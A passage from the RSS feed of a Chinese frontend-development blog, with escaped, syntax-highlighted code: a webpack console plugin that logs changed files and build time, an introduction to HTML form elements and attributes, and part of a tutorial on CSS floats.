&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;chalk&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;require&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;chalk&amp;#39;&lt;/span&gt;) &lt;span style="color:#75715e"&gt;/* console 颜色 */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;slog&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;require&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;single-line-log&amp;#39;&lt;/span&gt;); &lt;span style="color:#75715e"&gt;/* 单行打印 console */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;ConsolePlugin&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;constructor&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;options&lt;/span&gt;){
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;options&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;options&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;apply&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;compiler&lt;/span&gt;){
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;/**
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt; * Monitor file change 记录当前改动文件
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt; */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;compiler&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;hooks&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;watchRun&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;tap&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;ConsolePlugin&amp;#39;&lt;/span&gt;, (&lt;span style="color:#a6e22e"&gt;watching&lt;/span&gt;) =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;changeFiles&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;watching&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;watchFileSystem&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;watcher&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;mtimes&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;file&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;in&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;changeFiles&lt;/span&gt;){
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;chalk&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;green&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;当前改动文件：&amp;#39;&lt;/span&gt;&lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;file&lt;/span&gt;))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; })
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;/**
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt; * before a new compilation is created. 开始 compilation 编译 。
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt; */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;compiler&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;hooks&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;compile&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;tap&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;ConsolePlugin&amp;#39;&lt;/span&gt;,()=&amp;gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;beginCompile&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; })
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;/**
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt; * Executed when the compilation has completed. 一次 compilation 完成。
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt; */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;compiler&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;hooks&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;done&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;tap&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;ConsolePlugin&amp;#39;&lt;/span&gt;,()=&amp;gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;timer&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;clearInterval&lt;/span&gt;( &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;timer&lt;/span&gt; )
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;endTime&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; Date().&lt;span style="color:#a6e22e"&gt;getTime&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;time&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;endTime&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;starTime&lt;/span&gt;) &lt;span style="color:#f92672"&gt;/&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;( &lt;span style="color:#a6e22e"&gt;chalk&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;yellow&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39; 编译完成&amp;#39;&lt;/span&gt;) )
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;( &lt;span style="color:#a6e22e"&gt;chalk&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;yellow&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;编译用时：&amp;#39;&lt;/span&gt; &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;time&lt;/span&gt; &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;秒&amp;#39;&lt;/span&gt; ) )
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; })
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;beginCompile&lt;/span&gt;(){
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;lineSlog&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;slog&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;stdout&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;text&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;开始编译：&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;/* 记录开始时间 */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;starTime&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; Date().&lt;span style="color:#a6e22e"&gt;getTime&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;timer&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;setInterval&lt;/span&gt;(()=&amp;gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;text&lt;/span&gt; &lt;span style="color:#f92672"&gt;+=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;█&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;lineSlog&lt;/span&gt;( &lt;span style="color:#a6e22e"&gt;chalk&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;green&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;text&lt;/span&gt;))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; },&lt;span style="color:#ae81ff"&gt;50&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;构建时间如下：&lt;/strong&gt;&lt;/p&gt;</description></item><item><title>表单验证</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/html/html-013/</link><pubDate>Mon, 14 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/html/html-013/</guid><description>&lt;p&gt;HTML 表单是用于收集用户输入数据的重要元素，通常用于提交到服务器进行处理。它包括一系列控件，如文本输入框、按钮、复选框、单选按钮、文件上传等。表单通过 &lt;code&gt;form&lt;/code&gt; 标签定义，用户可以通过这些控件与网页进行交互。&lt;/p&gt;
&lt;h3 id="1-基础结构"&gt;1. &lt;strong&gt;基础结构&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;表单通过 &lt;code&gt;&amp;lt;form&amp;gt;&lt;/code&gt; 标签创建，表单的 &lt;code&gt;action&lt;/code&gt; 属性定义数据提交的目标 URL，&lt;code&gt;method&lt;/code&gt; 属性定义提交方式（如 &lt;code&gt;GET&lt;/code&gt; 或 &lt;code&gt;POST&lt;/code&gt;）。&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;form&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;action&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;/submit&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;method&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;input&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;type&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;text&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;name&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;username&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;input&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;type&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;submit&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;value&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;Submit&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/&lt;span style="color:#f92672"&gt;form&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="2-表单控件"&gt;2. &lt;strong&gt;表单控件&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;HTML 表单提供了多种用户输入控件：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;文本输入&lt;/strong&gt; (&lt;code&gt;&amp;lt;input type=&amp;quot;text&amp;quot;&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;textarea&amp;gt;&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;密码输入&lt;/strong&gt; (&lt;code&gt;&amp;lt;input type=&amp;quot;password&amp;quot;&amp;gt;&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;单选框和复选框&lt;/strong&gt; (&lt;code&gt;&amp;lt;input type=&amp;quot;radio&amp;quot;&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;input type=&amp;quot;checkbox&amp;quot;&amp;gt;&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;下拉列表&lt;/strong&gt; (&lt;code&gt;&amp;lt;select&amp;gt;&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;按钮&lt;/strong&gt; (&lt;code&gt;&amp;lt;button&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;input type=&amp;quot;submit&amp;quot;&amp;gt;&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;文件上传&lt;/strong&gt; (&lt;code&gt;&amp;lt;input type=&amp;quot;file&amp;quot;&amp;gt;&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;隐藏输入&lt;/strong&gt; (&lt;code&gt;&amp;lt;input type=&amp;quot;hidden&amp;quot;&amp;gt;&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="3-表单的属性"&gt;3. &lt;strong&gt;表单的属性&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;action&lt;/strong&gt;：指定表单数据提交到的 URL。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;method&lt;/strong&gt;：定义提交方式，常用 &lt;code&gt;GET&lt;/code&gt;（将数据附在 URL 后）和 &lt;code&gt;POST&lt;/code&gt;（将数据放入 HTTP 请求体中）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;enctype&lt;/strong&gt;：指定数据的编码类型，常用于文件上传（如 &lt;code&gt;multipart/form-data&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;autocomplete&lt;/strong&gt;：启用或禁用浏览器的自动完成功能。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="4-表单校验"&gt;4. &lt;strong&gt;表单校验&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;HTML5 引入了许多新的表单校验功能，能够减少 JavaScript 校验代码的复杂度。校验功能包括：&lt;/p&gt;</description></item><item><title>浮动、清除浮动和BFC</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/css/css-013/</link><pubDate>Thu, 10 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/css/css-013/</guid><description>&lt;p&gt;浮动、清除浮动和BFC是前端开发中常见的概念，它们对于页面布局及美化至关重要。&lt;/p&gt;
&lt;h2 id="浮动"&gt;浮动&lt;/h2&gt;
&lt;p&gt;在网页设计中，浮动是一种常见的布局技术，可以让元素脱离文档流，我们来看看它有什么作用吧！&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;使文字环绕&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;代码示例如下：&lt;/p&gt;
&lt;p&gt;html结构：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-ini" data-lang="ini"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;&amp;lt;div class&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;box&amp;#34;&amp;gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;&amp;lt;div class&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;text&amp;#34;&amp;gt;一段文字&amp;lt;/div&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;css样式：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-css" data-lang="css"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; .&lt;span style="color:#a6e22e"&gt;box&lt;/span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;width&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;height&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;background-color&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;coral&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;若不加浮动，则页面是这样的效果：&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/css/css-013/image-01.webp"&gt;&lt;/p&gt;
&lt;p&gt;但若是在box加上float: left;(向左浮动)，则能使文字环绕box这个盒子：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-css" data-lang="css"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; .&lt;span style="color:#a6e22e"&gt;box&lt;/span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;width&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;height&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;background-color&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;coral&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;float&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;left&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/css/css-013/image-02.webp"&gt;&lt;/p&gt;
&lt;ol start="2"&gt;
&lt;li&gt;&lt;strong&gt;让块级元素同行显示&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;块级元素本身是占据一整行的，但浮动能让多个块级元素处于同一行，示例如下：&lt;/p&gt;
&lt;p&gt;若不加浮动，则多个块级元素各自占据一行：&lt;/p&gt;
&lt;p&gt;html结构：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-css" data-lang="css"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#f92672"&gt;ul&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#f92672"&gt;li&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color:#f92672"&gt;1&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color:#f92672"&gt;li&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#f92672"&gt;li&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color:#f92672"&gt;2&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color:#f92672"&gt;li&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#f92672"&gt;li&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color:#f92672"&gt;3&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color:#f92672"&gt;li&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color:#f92672"&gt;ul&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;css样式：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-css" data-lang="css"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;*&lt;/span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;margin&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;padding&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;ul&lt;/span&gt; &lt;span style="color:#f92672"&gt;li&lt;/span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;list-style&lt;/span&gt;:&lt;span style="color:#66d9ef"&gt;none&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;width&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
